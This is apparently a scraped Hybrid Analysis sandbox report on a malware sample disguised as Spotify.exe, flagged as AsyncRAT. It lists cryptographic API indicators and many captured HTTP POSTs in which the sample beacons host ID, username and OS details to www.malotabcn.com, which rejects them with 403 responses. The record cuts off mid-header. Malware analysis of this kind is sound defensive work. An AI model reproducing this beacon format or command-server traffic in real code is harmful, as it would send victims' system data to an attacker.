24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 4c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4bb,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious AsyncRAT.Marte.B.Generic Sample 3efd75280f8f… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 3efd75280f8f…. Malware family: AsyncRAT.Marte.B.Generic. Threat score 100/100. 17/27 AV engines flagged this file. 16 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381","keywords":["Malicious","AsyncRAT.Marte.B.Generic","malware analysis","sandbox report","threat intelligence","3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381"],"about":{"@type":"SoftwareApplication","name":"Spotify.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"AsyncRAT.Marte.B.Generic","antivirusDetections":{"malicious":17,"total":27},"behavioralIndicators":{"malicious":16,"suspicious":11},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T14e1,Found reference to "HMACSHA256" (Indicator: "HMAC"; File: "3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin") Found reference to "HMACSHA256" (Indicator: "HMACSHA256"; File: "3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin") Found reference to "Aes256" (Indicator: "Aes"; File: "3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin") Found reference to "SHA256Managed" (Indicator: "SHA256Managed"; File: "3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; File: "3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin") Found reference to "CryptoConfig" (Indicator: "CryptoConfig"; File: "3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin") Found reference to "CryptoStream" (Indicator: "CryptoStream"; File: "3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; File: "3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin") Found reference to "AsymmetricAlgorithm" (Indicator: "AsymmetricAlgorithm"; File: "3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; File: "3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin") Found reference to "CryptographicException" (Indicator: "CryptographicException"; File: "3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; File: "3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin") Found reference to "RSACryptoServiceProvider" (Indicator: "RSACryptoServiceProvider"; File: "3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin") Found reference to "AesCryptoServiceProvider" (Indicator: "Aes"; File: "3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin") Found reference to "AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; File: "3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin") Found reference to "Rfc2898DeriveBytes" (Indicator: "DeriveBytes"; File: "3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin") Found reference to "Rfc2898DeriveBytes" (Indicator: "Rfc2898DeriveBytes"; File: "3efd75280f8f0c640d174d0fb55df5f3d17a10c4248bbb705281bd74bdf2d381.bin") file/memory contains long string with (Indicator: "Aes"; File: "Spotify.exe") file/memory contains long string with (Indicator: "AesCryptoServiceProvider"; File: "Spotify.exe") file/memory contains long string with (Indicator: "AsymmetricAlgorithm"; File: "Spotify.exe") file/memory contains long string with (Indicator: "CryptoConfig"; File: "Spotify.exe") file/memory contains long string with (Indicator: "CryptographicException"; File: "Spotify.exe") file/memory contains long string with (Indicator: "CryptoStream"; File: "Spotify.exe") file/memory contains long string with (Indicator: "DeriveBytes"; File: "Spotify.exe") file/memory contains long string with (Indicator: "HashAlgorithm"; File: "Spotify.exe") file/memory contains long string with (Indicator: "HMAC"; File: "Spotify.exe") file/memory contains long string with (Indicator: "HMACSHA256"; File: "Spotify.exe") file/memory contains long string with (Indicator: "MD5CryptoServiceProvider"; File: "Spotify.exe") file/memory contains long string with (Indicator: "Rfc2898DeriveBytes"; File: "Spotify.exe") file/memory contains long string with (Indicator: "RSACryptoServiceProvider"; File: "Spotify.exe") file/memory contains long string with (Indicator: "SHA256Managed"; File: "Spotify.exe") file/memory contains long string with (Indicator: "SymmetricAlgorithm"; File: "Spotify.exe") Found reference to "HMACSHA256" (Indicator: "HMAC"; Source: "00000000-00004104.00000001.179878.00DE2000.00000002.mdmp") Found reference to "HMACSHA256" (Indicator: "HMACSHA256"; Source: "00000000-00004104.00000001.179878.00DE2000.00000002.mdmp") Found reference to "Aes256" (Indicator: "Aes"; Source: "00000000-00004104.00000001.179878.00DE2000.00000002.mdmp") Found reference to "SHA256Managed" (Indicator: "SHA256Managed"; Source: "00000000-00004104.00000001.179878.00DE2000.00000002.mdmp") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; Source: "00000000-00004104.00000001.179878.00DE2000.00000002.mdmp") Found reference to "CryptoConfig" (Indicator: "CryptoConfig"; Source: "00000000-00004104.00000001.179878.00DE2000.00000002.mdmp") Found reference to "CryptoStream" (Indicator: "CryptoStream"; Source: "00000000-00004104.00000001.179878.00DE2000.00000002.mdmp") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; Source: "00000000-00004104.00000001.179878.00DE2000.00000002.mdmp") Found reference to "AsymmetricAlgorithm" (Indicator: "AsymmetricAlgorithm"; Source: "00000000-00004104.00000001.179878.00DE2000.00000002.mdmp") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00004104.00000001.179878.00DE2000.00000002.mdmp") Found reference to "CryptographicException" (Indicator: "CryptographicException"; Source: "00000000-00004104.00000001.179878.00DE2000.00000002.mdmp")26:T68e," "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=10 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=s0tNyhLF3xLq3jGwgR4p4MxWA%2FSYJLnBo%2Fg15L0DWxncLK7Byq7xLgWlkwd%2B5gSzGhUp9uoLIvKuZRNs0Cud%2B9kFOMvtrhs2GQGhNkwzXwlh"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b97dcba7678ff-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: www.malotabcn.com Content-Length: 103" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=1 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=wbHv70sW3CgC2U0aq7MLbHDBHpMUZ54q5XAsAAndu7sx9dPThRFJcRWLcq5j%2BX0%2FdFn8ZFvx8zhVj0dCLQdjjlN4DtUkiRthaC6VDilBVSqh"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b97e23e7478ff-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: www.malotabcn.com Content-Length: 103 Connection: Keep-Alive" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=13 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=47v9034gv946rJcLIzBJOBvoCj%2BviO5s3mzNEsFs7BiCcVWyMSw7vVotm%2F8O2BdZJaHTTQKUvKWfpH1k6WWZhGA37VqPuuEHO6G8yQXQL0TQ"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b97f0fdc6ce64-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: www.malotabcn.com Content-Length: 103" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=8 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=%2FJPkv7mp6XbPO1b%2BD0uiLmgfcCS8YTdkSqojJiusObqVSFHQQNkh3rbf2bJBIkmh2H1FXyVu1BWQ5UCskqoLzPGlSKHrQhpw%2ByhSRl%2FYxu2a"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b97f2aef8f017-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: malotabcn.com Content-Length: 103 Connection: Keep-Alive" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=7 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=%2BWI9tk7FkSqpeAkY4amCm0Q3ZyHy0wdpRQ5s9LjSe6TNAWof0tFxzaAFXvlrxt8UXu2tRXZoxWaqDZg8rI16Yqymz745csBfmYGg1Os%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b97f5c9c4c8de-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: malotabcn.com Content-Length: 103" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=8 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=fcXHnKVMSFd%2BP4q%2BAD6kp1XGIcOK5KHxZNh1VugvmbhYjgMEeULmFPW8YafzattEpG1uEOUOQe3t6mcA30e8qWSZuVbeenfjZ4vPg98%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b97f77f489ac2-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: www.malotabcn.com Content-Length: 103 Connection: Keep-Alive" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=9 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=84Pb5Jll0m5CbNpdfJ%2FIvB9iE1FwHIvRhkNY75z3mpf3%2BbwqWQ5dzxtHmI%2BUV1jyYf4urpX2Fxvcp%2FYJXQtAkvCsib%2FLtnc3aQHY7eRWDt9O"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b97f91d582a56-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: www.malotabcn.com Content-Length: 103" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=14 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=6s86kroFcQZtGQU0t24SvHDqGduMGXqVcQuuSUFUrtL8iwqJNp4YsDWA15O14TNwipybN%2F3DPQomqpTl3Owl0c8KULqwKVm92RauHGI0bme%2B"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b97facedd58dc-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: www.malotabcn.com Content-Length: 103 Connection: Keep-Alive" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=8 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=nb%2Fv2Fk03yNBgmzESUWaCgclU4V5j91u%2BiOR5Q%2BUjPnIY18yDkaibG0mv12gIN%2F2vWWMhClPEchahDvz%2FBxeWcRAFqg3eiKg%2FDfcfsr5uNrT"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b97fdcced8b9e-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: malotabcn.com Content-Length: 103 Connection: Keep-Alive" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=13 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=1Np73DLvArx7c8gxqKwveGKw9U8Wu%2FOrDjuJKstxR%2FJpF8uhJMNfTNg%2FdGqFDmTf%2BLoo0tfo3iXpc2TaJIxAGxlzuoN9pZ55ruZJWU0%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b97ff8c7c1692-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: www.malotabcn.com Content-Length: 103 Connection: Keep-Alive" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=13 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=oGQdy7yp5uNPcosMvf%2FEIpa747LoROzBq7rtJjauloT%2BkwAFGhVBu4Jkd9kyrUhSEnNwneOJTaSa7zHdXkYQcommEVWUNXXUE0%2BP9RW3sPmt"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b98015a48fb48-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: www.malotabcn.com Content-Length: 103" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=7 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=GNp0DxeOvDchX%2FvpIb48f2mKQyyiqc4gTNwGK3TvFMT4VjZfiiGM%2BK7duwR0ECiL8rEMKIrsGN4LX%2Fy1tm%2FxgDd0g2edHCjbmXIIvFVdyN6l"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b9802fc4cf46e-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: www.malotabcn.com Content-Length: 103 Connection: Keep-Alive" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=9 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=mx4Y0tmMeTBmZcqNOmB%2Bkey09kpwHj8bNPhJUd7K6B%2BXonwC6oNSYC%2BMmYWe4wtLRuNW3637GIc4FLeM1T5PRtaQyZWUVM0dfpVO3XKNGVBi"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b98048c6c2599-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: www.malotabcn.com Content-Length: 103 Connection: Keep-Alive" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=13 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=r0WwJiQlyWfjU3njfbdV7oKWqqt8kaWVJwSJvvcrOrZNm5Eyk03yUUkFKrH4X0ohxVshb93TrwReYz8xUTLVbycSPtbq0y1z3valokAqpc%2B7"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b98063ca25c17-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: malotabcn.com Content-Length: 103 Connection: Keep-Alive" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=10 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=2PcQI51kqE6c0MNFrApuN2S7Lnd%2Fj13oU9WPilkwz%2BW7iKQMqVriBC6032D%2BYHxYpCxq6WMPO4H%2BQ%2F4GFbpuRrQl2cXfHwco7vtG%2FrQ%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b9807d9e8fa36-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: malotabcn.com Content-Length: 103 Connection: Keep-Alive" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=10 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=ZMTAT1ROb%2FAr42V0snCr%2Fj4vh2Oaij3W78NG3dFx68AXlktQ%2BlsLPlXfWxY0jwpJw3ukQ817uydsWV36pBWvlNJzOV0Tlu%2FQ2btdk7M%3D"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b980ae80f1321-SJC alt-svc: h3=":443"; ma=86400 with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: www.malotabcn.com Content-Length: 103 Connection: Keep-Alive" with payload::==> "hwid=73F1724782003F6EE297&user=HAPUBWS&os=Microsoft+Windows+NT+10.0.16299.0&version=0.5.8&group=Default" HTTP/1.1 403 Forbidden Date: Sat 07 Mar 2026 18:16:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private max-age=0 no-store no-cache must-revalidate post-check=0 pre-check=0 Expires: Thu 01 Jan 1970 00:00:01 GMT Referrer-Policy: same-origin Server-Timing: cfEdge;dur=8 cfOrigin;dur=0 X-Frame-Options: SAMEORIGIN Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=nx2HCQe%2FMyAMCW%2B0YRYQzykDPH8a9Piwy1gmyvNxdMIW%2F4J6hkGXAFdm3ZNKOLrRlwg41TH4%2B9ud35DyRN1aJlwUhjB7Ra6CAoayGqb47oKB"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: 9d8b980c8bd1effe-SJC alt-svc: 